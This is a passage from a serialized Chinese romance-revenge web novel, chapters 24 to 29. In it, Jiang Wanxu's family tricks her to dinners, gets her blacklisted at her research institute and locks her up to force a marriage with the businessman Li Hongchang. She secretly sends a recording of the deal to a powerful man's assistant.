他看着照片上江晚絮那张清纯动人的脸,再想想她那份光芒万丈的简历,心里那点对亡妻的念想,瞬间就被抛到了九霄云外。
一个有顶级美貌,有惊世才华,还能为他带来潜在人脉资源的美人。
这简直就是上天赐给他的礼物!
李鸿昌放下照片,脸上露出了势在必得的笑容。
李鸿昌的脸上,露出了势在必得的笑容。
“江大公子,令妹,确实是人中龙凤啊。”
他端起酒杯,朝江明泽遥遥一敬,浑浊的眼睛里闪烁着贪婪与算计。
“你放心。只要这门亲事能成,我们就是一家人了。”
他呷了一口酒,慢悠悠地补充道。
“一家人,不说两家话。”
“江氏上市的事,包在我身上。”
江明泽镜片后的双眼,掠过一丝满意的精光。
成了。
他举起酒杯,与李鸿昌重重一碰。
清脆的玻璃碰撞声,像是一场肮脏交易的落槌。
“那我就提前祝我们合作愉快,也祝姐夫……新婚愉快。”
李鸿昌哈哈大笑起来,笑声在包厢里回荡,显得油腻又刺耳。
江明泽看着他志得意满的样子,嘴角的弧度更深了。
妹妹?
不过是为家族铺路的一块垫脚石罢了。
能有这样的用处,是她的荣幸。
三天后。
江晚絮接到了一个意想不到的电话。
来电显示是“父亲”。
她以为,上次离开后,这个号码就再也不会在她手机上亮起了。
她划开接听,没有出声。
电话那头,是江正宏疲惫中带着一丝沙哑的声音。
“晚絮……是爸爸。”
江晚絮依旧沉默。
“我知道,你还在生家里的气。”
江正宏叹了口气,语气里透着前所未有的示弱。
“爸爸这几天,身体不太好,总是想起你妈妈……”
“医生说我这是心病,不能再动气了。”
“你大哥他们,也都认识到错误了。我们……想一家人坐下来,好好吃顿饭,把话说开。”
“就当是……为了爸爸,行吗?”
江晚絮握着手机,指节因为用力而泛白。
她一个字都不信。
这个男人,在她母亲去世后不到两个月,就将柳芸接进了家门,三个月后就生下了江芊妤。
在她被江明宇打骂时,他视若无睹。
在她为叶寒捐骨髓,差点死在手术台上时,他只关心会不会影响江家的名声。
这样冷血自私的人,会突然良心发现?
简直是天方夜谭。
可是,他提到了妈妈。
江晚絮的眼前,又浮现出母亲照片上温柔的笑脸。
她忽然想去看看。
看看这家人,究竟又想耍什么新的花招。
也正好,将最后一丝不该有的念想,彻底斩断。
第24章 为江家做贡献
“时间,地点。”
江晚絮冷冷地吐出四个字。
电话那头,江父明显松了口气。
“今晚七点,‘玉满楼’,荷风苑。”
“好。”
江晚絮挂了电话,没有一丝一毫的拖泥带水。
她看着手机屏幕暗下去,嘴角勾起一抹冰冷的弧度。
鸿门宴么?
晚上七点,江晚絮准时出现在“玉满楼”门口。
这是一家顶级的中式餐厅,出入皆是权贵。
她报上包厢名,服务生恭敬地将她引到二楼最里间的“荷风苑”。
越走,她心里的不安就越深。
太安静了。
按理说,一场“家庭和解”的晚宴,江家那群人,早就该吵吵嚷嚷地到了。
服务生推开厚重的雕花木门。
“江小姐,到了。”
江晚絮抬眼望去。
偌大的包厢里,灯火通明。
却没有她预想中的父亲、继母和兄弟们。
巨大的圆桌旁,只坐着两个人。
一个是她的大哥,江明泽。
另一个,则是个年近五十,身材发福,眼神精明的陌生男人。
江晚絮的脚步,瞬间顿住了。
心里那点可笑的、万分之一的期望,在这一刻,碎得连渣都不剩。
她就说。
狗,是改不了吃屎的。
江明泽看到她,立刻站了起来,脸上挂着虚伪的笑。
“晚絮,你来了,快坐。”
他殷勤地拉开自己身边的椅子。
“来,我给你介绍一下,这位是宏昌集团的李总,李鸿昌先生。”
那个叫李鸿昌的男人,一双眼睛像是黏在了她身上,毫不掩饰地上下打量。
充满了欲望和算计。
“李总,这就是我跟您提过的妹妹,江晚絮。”江明澤的語氣充滿了炫耀。
李鸿昌笑呵呵地站起来,朝她伸出手。
“江小姐,久仰大名。比照片上还要漂亮,还要有气质。”
江晚絮站在原地,没有动,也没有伸手。
她的目光越过李鸿昌,冷冷地落在江明澤的脸上。
“他们人呢?”
江明泽的笑容僵了一下,随即又恢复自然。
“爸他身体临时有点不舒服,就没过来。芊妤他们也临时有事。”
“今晚,就当是我和你,还有李总,我们三个人的私下小聚。”
私下小聚?
江晚絮在心里冷笑。
骗鬼呢。
她算是彻底明白了。
什么父亲病重,什么家庭和解,全都是幌子。
这就是一场精心设计的骗局。
一场……相亲宴。
或者说,是一场商品展示会。
而她,就是那个被摆上货架,明码标价的商品。
她转身就想走。
江明泽却快步上前,拦住了她的去路,压低了声音在她耳边说道。
“江晚絮,你别不识抬举!”
“李总是什么身份?他能看上你,是你八辈子修来的福气!”
“今天你要是敢把事情搞砸了,我保证让你在京市待不下去!”
江晚絮看着他那张斯文败类的脸,忽然就不想走了。
她转过身,脸上竟露出了一丝浅浅的笑。
“大哥说的是,是我失礼了。”
她走到桌边,在离李鸿昌最远的位置坐了下来。
李鸿昌见她坐下,眼睛都亮了,连忙也跟着坐下,还特意往她这边挪了挪。
“江小姐,别客气,就当是自己家。”
一股劣质古龙水混合着烟草的味道,扑面而来。
江晚絮不动声色地往后靠了靠。
“李总说笑了,我跟您还不熟。”
李鸿昌也不尴尬,反而哈哈一笑。
“一回生,二回熟嘛。以后我们有的是时间,慢慢熟悉。”
他那句“以后”,说得意味深长。
江明澤连忙打圆场:“晚絮她就是这个性格,外冷内热,李总您别介意。”
“不介意,不介意。”李鸿昌摆摆手,目光却依旧灼热,“我就喜欢江小姐这样的,有性格,有才华。不像外面那些庸脂俗粉,看着就倒胃口。”
菜一道道地端了上来。
李鸿昌殷勤地给她布菜,言语间,已经把自己当成了她的长辈和未来的丈夫。
“小絮啊,你年纪也不小了,离过一次婚,对女人来说,不是什么好事。”
“不过你放心,你的过去,我不会追究。”
“只要你以后安分守己,好好待在家里,相夫教子,我保证你一辈子都吃穿不愁。”
他喝了口酒,打了个酒嗝,继续用那副油腻的腔调说教。
“女人嘛,搞什么科研,抛头露面的,多辛苦啊。”
“你的那些研究成果,我看也都是叶家帮你做的吧?没关系,以后这些虚名都不要了。”
“嫁给我,做个清闲富贵的李太太,才是你最好的归宿。”
江晚絮静静地听着,手里端着一杯酸梅汁,慢慢地喝着。
她的脸上,看不出喜怒。
但放在桌下的手,已经悄悄打开了手机的录音功能。
她抬起头,看向江明泽,眼神无辜又困惑。
“大哥,我不太明白李总的意思。”
“什么叫……嫁给他?”
江明泽清了清嗓子,扶了扶眼镜,一副语重心长的样子。
“晚絮,你是个聪明的孩子,应该明白大哥的苦心。”
“我们江家现在是什么情况,你不是不知道。公司上市,就差李总这边点头。”
“李总他……非常欣赏你。”
江晚絮的嘴角,勾起一抹几不可见的嘲讽。
“所以,你们的意思是,只要我嫁给李总,江氏集团就能顺利上市了?”
她故意把话说得直白。
李鸿昌一听,乐了。
“江小姐果然是爽快人!没错!只要你点头,我们就是一家人。江氏的事,就是我的事!”
江明泽生怕她再说出什么不合时宜的话,连忙补充道。
“晚絮,这是双赢的局面。”
“你为家族做出了贡献,也为自己找到了一个好归宿。李总人品贵重,家底丰厚,你嫁过去,绝对不会受委屈。”
“这,是你为江家做最后贡献的机会。”
又是这句话。
跟那天在江家,说的一模一样。
江晚絮的心,像是被泡在了冰水里,冷得刺骨。
她按下了手机的停止键,将那段充满了算计和背叛的录音,妥善保存。
李鸿昌见她半天不说话,以为她是被这天大的好消息砸晕了。
他的胆子也大了起来,肥腻的手,朝着江晚絮放在桌上的手,就摸了过去。
“小絮,你放心,我一定会好好对你的……”
他的指尖,即将触碰到她皮肤的那一刻。
第25章 想让她身败名裂?
江晚絮站了起来。
哗啦——
一杯猩红的液体,在空中划出一道凌厉的弧线。
不偏不倚,尽数泼在了江明泽那张斯文儒雅的脸上。
红酒顺着他的头发,镜片,脸颊,滴滴答答地往下淌。
将他一身得体的白色衬衫,染得斑驳狼藉。
整个包厢,瞬间死寂。
江明泽懵了。
李鸿昌也懵了。
他们谁都没想到,前一秒还温顺安静的江晚絮,会突然有如此惊人的举动。
江晚絮居高临下地看着狼狈不堪的江明泽,眼神里的温度,比西伯利亚的寒风还要冷冽。
她的声音不大,却字字清晰,掷地有声。
“江家卖女求荣,可以。”
“但想卖我江晚絮……”
她顿了顿,嘴角勾起一抹极尽嘲讽的冷笑。
“你们,不配!”
说完,她将空了的酒杯,重重地扣在桌面上。
“砰”的一声脆响,像是一记响亮的耳光,狠狠地扇在在场两个男人的脸上。
随后,她在两人震惊到呆滞的目光中,拉开门,头也不回地摔门而去。
“砰!”
巨大的关门声,终于让江明泽回过了神。
他抹了一把脸上的红酒,看着自己满手的黏腻,又看了看对面李鸿昌那张由白转青,由青转黑的脸。
一股前所未有的屈辱和愤怒,冲上了他的头顶。
“江!晚!絮!”
柳芸在别墅里知道了这件事后,当场就发了疯。
她将客厅里一个价值不菲的青花瓷瓶狠狠摔在地上,碎片溅得到处都是。
“反了!真是反了天了!”
“那个小贱人!她怎么敢!她怎么敢这么做!”
“我们给她找了这么好一门亲事,那是看得起她!她倒好,还敢给脸不要脸!”
柳芸气得浑身发抖,指着一言不发的江父破口大骂。
“都怪你!养出这么个不识抬举的白眼狼!吃里扒外的东西!”
“现在好了,把李总得罪了,上市的事情怎么办?我们江家的脸都被她丢尽了!”
江芊妤在一旁,柔柔地劝着。
“妈,您别生气了,气坏了身子可怎么办。姐姐她……她可能就是一时想不开。”
“想不开?”柳芸冷笑,“我看她是翅膀硬了,想上天了!”
“养不熟的白眼狼!就该在她一出生的时候,就把她掐死!”
恶毒的咒骂,在华丽的客厅里回荡。
而另一边,江明泽已经彻底被激怒了。
他,江家最引以为傲的长子,京市有头有脸的高知精英,竟然被自己的亲妹妹,当着外人的面,泼了一脸的红酒!
这是他这辈子都洗刷不掉的奇耻大辱!
他坐在书房里,脸色阴沉得能滴出水来。
他拨通了一个电话。
“喂,梁院长吗?我是江明泽。”
电话那头,是瑞澜研究院一位副院长的声音。
“是明泽啊,稀客稀客,怎么想起来给我打电话了?”
江明泽的语气,冰冷而不容置喙。
“我没什么事,就是想跟您打听一下,你们院里,是不是新来了一个叫江晚絮的研究员?”
“哦?对,就是最近发了那篇论文的江博士,怎么了?”
江明泽冷笑一声。
“没什么,我就是想提醒一下梁院长。”
“这个江晚絮,是我妹妹。但她品行不端,私生活混乱,为了往上爬不择手段。”
“这样的人,放在研究院,我怕会带坏了院里的风气,甚至……做出什么学术不端的丑事来,到时候,连累的可是整个瑞澜的声誉。”
他这番话,说得半真半假,却极具杀伤力。
电话那头的梁院长,立刻就明白了其中的分量。
“明泽,你放心,我懂了。这件事,我会处理的。”
挂了电话,江明泽的脸上,才露出了一丝快意的冷笑。
江晚絮,你不是清高吗?不是有本事吗?
我倒要看看,被整个学术圈封杀,你还能怎么狂!
与此同时,李鸿昌的报复,也接踵而至。
他利用自己在商界盘根错节的人脉关系,开始全面阻挠江晚絮的科研之路。
她正在进行的一个项目,需要从一家德国公司进口一批特殊的试剂。
李鸿昌一个电话打过去,那家公司立刻就以“产能不足”为由,单方面取消了订单。
她想与其他实验室进行合作,借用一台高精度的电子显微镜。
对方前一天还热情洋溢,第二天就冷淡地表示“设备正在检修,无限期停用”。
甚至,连她课题组的几个实习生,都被各自的学校以各种理由叫了回去。
短短几天之内。
江晚絮就发现,自己仿佛成了一座孤岛。
来自家族的施压,来自行业的封杀。
双重的绞杀,让她在瑞澜研究院的处境,比之前面对王博士时,还要艰难百倍。
办公室里,梁副院长找她谈了一次话。
言辞虽然委婉,但意思却很明确。
“小江啊,你最近……是不是在外面得罪了什么人?”
“院里现在压力很大,你看……要不你先停薪留职,回家休息一段时间?”
这已经是变相的劝退了。
江晚絮坐在自己的办公室里,看着窗外,一片肃杀。
前路,仿佛已经被彻底堵死。
她像是被一张无形的大网,死死地困在了中央,动弹不得。
但她的脸上,却没有一丝一毫的恐慌和绝望。
她只是平静地打开了手机,点开了那个被她命名为“江家的罪证”的录音文件。
江明泽和李鸿昌那段肮脏的交易对话,清晰地流淌出来。
她的指尖,在屏幕上轻轻敲击着。
绝境?
对于死过一次的人来说,这世上,早已没有了所谓的绝境。
既然他们想让她身败名裂,一无所有。
那她,就只能在他们布下的这张天罗地网里,杀出一条血路来。
破局之法……
她的脑海中,渐渐浮现出一个人的名字。
顾彦廷。
那个送来“星尘”模块,祝她“前程似锦”的男人。
或许,他是她现在唯一的,也是最危险的一步棋。
第26章 给脸不要脸
顾彦廷这个名字,像一颗沉在海底的珍珠。
不到万不得已,江晚絮绝不想去触碰。
那意味着,将自己最后的一点底牌,都押在一个无法预测的男人身上。
她深吸一口气,正准备规划下一步。
手机屏幕,却突兀地亮了起来。
来电显示,是她最不想看见的名字——江明宇。
江晚絮的指尖,悬在拒接键上,迟迟没有按下。
这个时间点,他打电话来做什么?
耀武扬威吗?
还是嫌她死得不够快,想再来补上一刀?
江晚絮终究还是划开了接听。
“有屁快放。”
她的声音,冷得像冰。
电话那头,却出乎意料地沉默了片刻。
紧接着,传来江明宇从未有过的,沙哑又低沉的声音。
“妹妹……”
一声“妹妹”,让江晚絮差点以为自己出现了幻听。
从小到大,江明宇对她,向来是“喂”、“江晚絮”,甚至是“贱人”的叫着。
这还是破天荒的头一遭。
事出反常必有妖。
江晚絮的警惕心,瞬间提到了顶点。
“我不是你妹妹。”
“我知道你还在生我的气。”江明宇的声音里,带着一丝显而易见的疲惫和……悲伤?
“是我浑蛋,是我不对,以前老是欺负你。”
“你打我骂我都行,只要你消气。”
江晚絮在心里冷笑。
猫哭耗子假慈悲。
演,接着演。
“妹妹,妈的祭日快到了。”
江明宇的这句话,像一根无形的针,猝不及防地扎进了江晚絮的心口。
她握着手机的力道,不自觉地加重了。
“爸今年身体一直不好,前几天又进了趟医院。他总念叨着,说对不起妈,也对不起你。”
“他说,想趁着妈的祭日,我们全家一起,去墓园好好祭拜一下她。”
“过去的事,就让它都过去吧。”
“你回来吧,我们一家人,别再闹了,行吗?”
江明宇的声音,带着一丝恳求。
母亲。
是她这一生,唯一的温暖,也是最大的遗憾。
她甚至都没有见过妈妈,也从未感受过什么叫做母爱。
可妈妈似乎是早就料到了自己的死,会让女儿受委屈,提前就做好了所有的打算,将巨额的财产全都写上了她的名字。
这么多年,江家人忌讳,从不主动提起。
就连每年的祭日,也只有她一个人,偷偷跑去墓园,陪她说说话。
“全家一起祭拜”……
这六个字,像一个巨大的诱饵,散发着致命的吸引力。
江晚絮知道,这很有可能又是一个圈套。
江家人的信誉,在她这里,早已透支成了负数。
可是……万一呢?
万一,他们是真的良心发现了呢?
万一,父亲是真的病重,想在母亲面前忏悔呢?
在母亲的祭日这样庄严的日子里,他们总不至于……太过分吧?
这个念头一旦冒出来,就像藤蔓一样,疯狂地缠绕住她的心脏。
她抱着最后一丝对亲情可笑的幻想,和那份侥幸。
沉默了许久,终于从喉咙里,挤出一个字。
“……好。”
母亲的祭日,当天。
江晚絮换上了一身素净的黑色连衣裙,手里捧着一束母亲最喜欢的白色雏菊。
她站在江家别墅那扇熟悉的雕花铁门前,心情复杂。
管家为她开了门,脸上没什么表情。
“大小姐,回来了。”
江晚絮点了点头,走了进去。
一踏入玄关。
“咔哒”一声。
她身后的大门,被佣人迅速地落了锁。
江晚絮的脊背,瞬间僵直。
她猛地回头。
只见客厅的沙发上,坐满了人。
大哥江明泽和二哥江明宇,后妈柳芸。
还有江芊妤,穿着一身白色的长裙,坐在柳芸身边,看到她,还露出了一个担忧又无辜的表情。
一屋子人,齐齐整整。
却没有一个人,穿着适合祭奠的深色衣服。
更没有一丝一毫,要去祭拜的哀思与准备。
哪有什么祭拜。
这分明是一场……审判。
江晚絮的心,在那一声落锁的瞬间,就已经沉入了谷底。
此刻,更是凉得彻底。
她真是个傻子。
彻头彻尾的,无可救药的大傻子。
竟然还会相信这群豺狼,会有哪怕一丁点的亲情和人性。
她将手里的雏菊,狠狠砸在光洁的地板上。
花瓣四散,像一场破碎的梦。
“你们想干什么?”
江明泽站了起来,慢条斯理地整理了一下自己的袖口,居高临下地看着她。
“不干什么。就是想请你,在家里住几天,冷静冷静。”
他直接摊牌。
“李总那边,我已经打过招呼了。婚礼定在下个月初八,日子都看好了。”
“在你想通之前,就暂时住在这里吧。”
江晚絮气的浑身发抖,指甲深深掐进掌心。
“你们这是非法拘禁!我要报警!”
江明泽像是听到了什么天大的笑话,嗤笑一声。
“江晚絮,江家养你这么多年,现在,该是你回报的时候了。”
他一步步朝她走近,语气里充满了威胁。
“我劝你,最好乖乖听话。别逼我用强制手段,那样,大家脸上都不好看。”
柳芸也放下了茶杯,阴阳怪气地开了口。
“哎哟,报什么警啊?我们这可是为了你好。”
她的目光,像毒蛇一样,将江晚絮从头到脚鄙夷地打量了一遍。
“李总家大业大,身家几十个亿,你一个离过婚的女人,能嫁过去,那是你高攀了!是你上辈子烧了高香!”
“给你脸,你最好兜着!别不识好歹!难不成,你还指望叶寒回心转意?还是指望能找到比李总更好的?”
江芊妤立刻起身,走到江晚絮身边,装模作样地想去拉她的手。
“姐姐,你别生气嘛,大家都是为你好。”
江晚絮厌恶地甩开她的手。
江芊妤也不恼,反而露出一副受伤的表情,眼眶红红的。
“李总人是真的不错,他对大哥承诺了,只要你嫁过去,就立刻注资江氏。他还说了,绝对不会介意你的过去,是真心喜欢你的。”
“姐姐,女人终究是要有个归宿的。你就别再这么倔强了,你看,你都快把爸爸和哥哥们的心,伤透了。”
这一家子,真是配合得天衣无缝。
江晚絮只觉得一阵反胃。
她看着他们丑陋的嘴脸,怒火攻心。
“滚!”
她抄起玄关柜上的一个装饰花瓶,狠狠地摔在地上。
“砰!”
清脆的碎裂声,响彻整个客厅。
“我告诉你们,你们这是在做梦!我死都不会嫁给那个老东西!”
“我要报警!我现在就要报警!”
江明宇猛地站了起来,几步冲到她面前,脸上满是暴戾。
“你他妈的还敢砸东西?!”
他扬起手,就想一巴掌扇下去。
江明泽及时拦住了他。
“明宇,别动手。”
江明宇这才悻悻地放下手,但嘴里依旧不干不净地骂着。
“臭婊子,给脸不要脸!”
他指着江晚絮的鼻子,冷笑道。
“报警?你去报啊!”
“我倒要看看,警察来了,是管我们江家的‘家务事’,还是信你一个被学术圈封杀、有‘前科’的人的胡言乱语!”
第27章 勾引老男人
他们早就把一切都算计好了。
把江晚絮的名声搞臭,让她变成一个劣迹斑斑的“污点学者”。
这样,就算她喊破喉咙,也不会有人相信她了。
只会觉得,是她自己想攀高枝,欲擒故纵,闹出的家庭矛盾。
好狠毒的算计。
江晚絮浑身的力气,仿佛都被抽空了。
江明宇见她不再反抗,得意地笑了。
他一把夺过她的包,将里面的手机、钱包、钥匙,全都倒了出来。
然后,一脚将她的手机,踩得粉碎。
“从今天起,你就给我老老实实待在房间里,哪儿也不准去!”
“什么时候想通了,什么时候再出来!”
说完,他便和另一个佣人一起,粗暴地架起江晚絮,将她拖上了楼。
“放开我!你们放开我!”
江晚絮拼命挣扎,可她的力气,在两个成年男人面前,显得那么微不足道。
她被粗暴地推进了她曾经的卧室,然后,房门被重重地关上,并且从外面反锁了。
整个世界,瞬间陷入了一片死寂。
江晚絮跌坐在冰冷的地板上,背靠着紧锁的房门。
巨大的恐惧和绝望,像潮水一样,将她密不透风地包裹。
她被囚禁了。
被自己的至亲,当成一件可以交易的货物,囚禁在了这个所谓的“家”里。
时间,一分一秒的流逝。
窗外的天色,由亮转暗,又由暗转亮。
江晚絮不知道自己被关了多久。
一天,还是两天?
她不吃不喝,只是呆呆地坐着,像一具没有灵魂的木偶。
佣人会定时从门下方的小窗口,把饭菜塞进来。
她看都懒得看一眼。
她快要疯了。
在这种与世隔绝的环境里,每一分每一秒,都是煎熬。
不行。
她不能就这么坐以待毙!
她要逃出去!
江晚絮猛地站起来,开始在房间里疯狂地寻找求生的机会。
窗户被钉死了。
门锁得比金库还牢。
这里是三楼,跳下去,不死也得残。
难道,真的没有办法了吗?
正当她快要绝望的时候,门外传来了脚步声。
是送饭的佣人,还是那个年纪有点大的张妈。
她以前在江家时,张妈对她还算不错。
饭菜从小窗口递了进来。
江晚絮的目光,死死地盯着张妈腰间围裙的口袋。
那里,鼓囊囊的,露出了手机的一角。
是张妈自己的老年机。
一个疯狂的念头,在江晚絮的脑海中形成。
她扑到门口,压低了声音,带着哭腔,哀求道。
“张妈,张妈求求你,你帮帮我……”
张妈的动作顿住了,叹了口气。
“大小姐,你就听先生的话吧。”
“张妈,他们要把我卖给一个五十多岁的老头子!他们这是在逼我去死啊!”
“求求你,你把手机借我用一下,就一下!我只想给朋友打个电话,让他来救我!”
张妈犹豫了。
“这……先生会骂我的。”
“我保证,就打一个电话!不会连累你的!张妈,我妈妈在世的时候,对你最好了,你忘了吗?”
江晚絮搬出了母亲。
这是她最后的赌注。
果然,提到过世的女主人,张妈的脸上,露出了动容的神色。
她挣扎了许久,终于还是一咬牙,将手机从小窗口塞了进来。
“大小姐,你快点,别被人发现了!”
“谢谢你,张妈!谢谢你!”
江晚絮的手,因为激动而剧烈地颤抖着。
她拿着那部老旧的按键手机,躲到房间的角落里。
她该打给谁?
报警吗?不行,江明宇的话还在耳边。
打给研究院的同事?他们跟江家比起来,人微言轻,根本帮不上忙。
顾彦廷?
她没有他的电话号码。
慌乱与恐惧之中,她的大脑一片空白。
手指,却已经下意识地,凭着那该死的肌肉记忆,按出了一串烂熟于心的号码。
那个曾经,在无数个深夜里,她都能倒背如流的号码。
叶寒。
在这个走投无路的绝境里,她能想到的,唯一一个,或许有能力与整个江家抗衡的人,竟然还是他。
多么可悲。
多么可笑。
电话,通了。
嘟——嘟——
每一声,都像是对她过去五年爱情的无情凌迟。
江晚絮的心,提到了嗓子眼。
“喂?”
电话那头,传来一个甜得发腻的女声。
不是叶寒。
是江芊妤!
江晚絮的血液,在这一瞬间,几乎凝固了。
她怎么会……拿着叶寒的手机?
“是姐姐吗?”江芊妤的声音,带着一丝恰到好处的惊讶,“这么晚了,你有什么事吗?寒哥哥他……正在洗澡呢。”
正在洗澡。
这四个字,像一把淬了毒的匕首,狠狠捅进了江晚絮的心窝。
她和叶寒结婚五年,他从未在她面前,如此不设防过。
江晚絮握着手机,感觉自己的呼吸都变得困难。
“让叶寒接电话。”她的声音,干涩得像是砂纸。
“哎呀,姐姐你别急嘛。”
江芊妤似乎是走开了几步,声音压低了些,但那股子炫耀的得意,却怎么也掩饰不住。
江晚絮甚至能听到电话那头,隐约传来的水声,和江芊妤娇滴滴的说话声。
“寒哥哥,是晚絮姐的电话……”
“嗯……我也不知道她怎么了,好像非要缠着宏昌集团的那个李总,现在闹出麻烦来了,打电话来找你求救呢……”
“可是,你们都已经离婚了呀,这样总联系,不太好吧……”
江芊妤只用了寥寥数语,就将她塑造成了一个水性杨花、不知廉耻、还想回头纠缠前夫的女人。
很快,电话那头换了一个人。
是叶寒。
他那熟悉又冰冷的声音,隔着电流传来。
“江晚絮。”
“叶寒!你听我说,我被江家人关起来了!他们要逼我嫁人!你快来救……”
江晚絮焦急的话,还没说完,就被他不耐烦地打断了。
“江晚絮,勾引老男人之前,就该想到后果!”
他的语气充满了鄙夷和厌恶。
“我们已经离婚了,你的那些破事,与我无关。”
“别再来烦我!”
“嘟……嘟……嘟……”
电话,被毫不留情地挂断了。
江晚絮握着那部老旧的手机,手臂缓缓垂下。
全身的力气,都像是被瞬间抽空了。
她靠着冰冷的墙壁,无力地滑坐在地上。
手机从她的掌心滑落,“啪”的一声,摔在地上。
第28章 以后我们就是一家人
江晚絮的眼神,从最初的惊恐、焦急,一点点地,变成了死寂的灰败。
原来,这就是绝望。
她不仅被家人当成货物,明码标价地贩卖。
还被她曾经掏心掏肺,爱了整整五年的男人,亲手,推下了万丈深渊。
心已经感觉不到痛了。
在那极致的,令人窒息的绝望过后,一种破釜沉舟的,诡异的冷静,反而从她的心底,慢慢的……诞生了。
她不能坐以待毙。
她不能让他们得逞。
江晚絮缓缓地,抹掉了脸颊上早已冰冷的泪痕。
她抬起头,那双死寂的眼眸里,重新燃起了一簇小小的,却无比坚定的火苗。
是复仇的火焰。
既然无人可依,那她,就做自己唯一的依靠!
她捡起地上的手机。
幸好,老年机,就是耐摔。
还能用。
她飞快地打开了手机的短信功能。
她没有再打给任何人。
她先是用网页登录了自己的网盘,然后将那天在“玉满楼”录下的,江明泽和李鸿昌那段肮脏的交易录音,通过彩信,发送到了一个她几乎从不使用的,海外邮箱的附件里。
然后,她又用最快的速度,编辑了一条短信。
【我叫江晚絮,现被家人非法囚禁于京市香山别墅区A栋16号,他们欲将我强行嫁给宏昌集团董事长李鸿昌。此消息若公开,请以此录音为证。救我。】
她看着这条短信。
该发给谁?
脑海中,再一次浮现出那个男人的脸。
顾彦廷。
那个手段狠辣,高高在上的京圈太子爷。
那个送她“星尘”,祝她“前程似锦”的男人。
他,会是压死江家的最后一根稻草吗?
江晚絮不知道。
但这是她现在,唯一的,也是最后的武器了。
她咬着牙,将这条承载着她全部希望和赌注的求救信息,连同那段录音,一起发送了出去。
收件人,是她之前通过特殊渠道,查到的一个号码。
一个,据说是顾彦廷私人助理的号码。
做完这一切,她迅速删除了手机里所有的记录。
然后,将手机还给了门外的张妈。
她重新坐回房间的角落,身体蜷缩起来,看上去,和之前那个绝望的、等待死亡的她,没有任何区别。
她把自己蜷成一团,像一只受伤的刺猬,收起了所有的锋芒。
但只有江晚絮自己知道,在那看似死寂的躯壳下,是怎样一颗蓄势待发,准备与全世界同归于尽的心。
时间,是最好的猎手,也是最磨人的酷刑。
两天。
整整四十八个小时。
滴水未进,米粒未沾。
江晚絮的嘴唇干裂起皮,脸色苍白得像一张纸。
身体的虚弱,却让她的头脑,前所未有的清醒。
硬碰硬,是下下策。
她用尽全身的力气,从地上爬起来,踉跄着走到门边,开始用力地拍门。
“砰!砰!砰!”
“开门!我要见江明泽!”
她的声音,沙哑得像是破旧的风箱。
门外,传来佣人懒洋洋的声音。
“大小姐,别白费力气了,先生说了,您什么时候想通,什么时候再出来。”
“我已经想通了。”
江晚絮靠着门板,缓缓滑坐下去,语气里,听不出一丝一毫的情绪。
“让他来见我,否则我就一头撞死在这里,对谁都没好处。”
那份死气沉沉的平静,反而让门外的佣人,心里咯噔一下。
没过多久,门锁转动。
江明泽推门而入,身后还跟着一脸不耐烦的江明宇。
他就知道。
再硬的骨头,也熬不过饥饿和绝望。
“想通了?”
他居高临下的开口,像是在审视一件终于被驯服的物品。
江晚絮缓缓地,抬起头。
她的眼神,黯淡无光,像是蒙上了一层厚厚的灰。
“我嫁。”
她说。
“但是,我有一个条件。”
江明宇嗤笑一声,不屑地开口。
“你还有资格谈条件?”
江晚絮笑了笑,看着他说,“我可以为了江家,牺牲我自己。婚礼怎么办,你们说了算。”
“但是,从此以后,你们所有人,都不能再干涉我的研究,我的人生。”
“我要你们,对着我妈妈的在天之灵发誓。”
她的声音很轻,却带着一种玉石俱焚的决绝。
这番话,听在江家兄弟的耳朵里,就是彻底的认命和妥协。
一个女人,在被家族逼迫,走投无路之后,只求能保住自己最后那点可怜的、不值一提的事业心。
多么合情合理。
多么的可悲可笑。
江明泽的嘴角,勾起一抹胜利者的微笑。
“好,我答应你。”
他甚至懒得去发那个虚伪的誓。
“只要你乖乖嫁给李总,以后,你想做什么,我们绝不干涉。”
他朝江明宇使了个眼色。
“让人给她准备吃的,洗个澡,换身像样的衣服。”
“别让李总见了,以为我们江家连女儿都养不起。”
说完,他便转身,带着江明宇离开了。
那扇门,再一次重重关上。
只是这一次,没有上锁。
很快,佣人端来了热气腾腾的饭菜,和干净的换洗衣物。
江晚絮看着那碗白粥,眼眶发热。
她没有狼吞虎咽,而是一小口一小口的,逼着自己咽下去。
所谓的“商讨订婚事宜”的饭局,被安排在了京市最顶级的私人会所,“云顶阁”。
一间极尽奢华的包间里,巨大的水晶吊灯,投下璀璨的光芒。
江晚絮穿着一件规矩的白色连衣裙,像一个精致却没有灵魂的木偶。
江明泽和江明宇,一左一右地“陪同”着,名为保护,实为监视。
而江芊妤竟然也坐在江明泽的旁边,像是看戏,又像是陪着姐姐的好妹妹。
主位上,坐着宏昌集团的董事长,李鸿昌。
李鸿昌的目光,在江晚絮的身上来回逡巡了几遍。
良久,他满意地点了点头。
“江小姐想通了?”
他甚至还装模作样地,对江明泽开口。
“江总,你放心,我李某人,不是那种不懂得怜香惜玉的粗人。”
“晚絮嫁过来,我一定,会好好待她的。”
他叫得亲昵又温柔,听得江晚絮一阵生理性的反胃。
江明泽立刻堆起笑脸,举起酒杯。
“那是自然!能得李总青睐,是晚絮的福气!”
“来,李总,我敬您一杯!”
江明宇也紧跟着附和。
“李总,以后我们就是一家人了!还请您多多关照!”
一时间,包间里,觥筹交错,马屁横飞。
第29章 自救
江晚絮从头到尾,都只是安静地坐着,垂着眼眸,一言不发。
她越是这样清冷、破碎,李鸿昌眼中的欲望,就越是灼热。
他喜欢这种带刺的玫瑰。
征服起来,才更有成就感。
酒过三巡。
江明泽将矛头,对准了江晚絮。
“晚絮,还愣着干什么?”
“快,给李总敬杯酒啊。”
他将一杯倒满的红酒,推到江晚絮的面前。
江晚絮抬起眼,淡淡地开口。
“我酒精过敏,不能喝酒。”
这是事实。
但在这种场合下说出来,无异于当众打李鸿昌的脸。
江明宇的脸色,当场就沉了下来。
“江晚絮,你别给脸不要脸!”
“李总跟你吃饭,是看得起你!让你敬杯酒,是给你面子!”
“你装什么清高?!”
李鸿昌的脸上,也闪过一丝不悦,但很快又被笑容掩盖。
“哎,明宇,话不能这么说。”
他摆了摆手,一副大度的样子。
“既然晚絮不能喝酒,那就算了,不能勉强。”
他越是这样说,江家兄弟就越是觉得脸上无光。
就在气氛陷入僵持的时候。
江芊妤,适时地站了出来。
她端起江晚絮面前的酒杯,换上了一杯颜色鲜艳的橙红色液体。
“大哥,二哥,你们别逼姐姐了。”
她柔声细语地,对着江晚絮,露出一个无比“贴心”的微笑。
“姐姐,这是我特意让服务员调的,鲜榨的西柚汁,没有酒精的。”
“你不能喝酒,就以果汁代酒,跟李总赔个不是吧。”
她的话,说得滴水不漏。
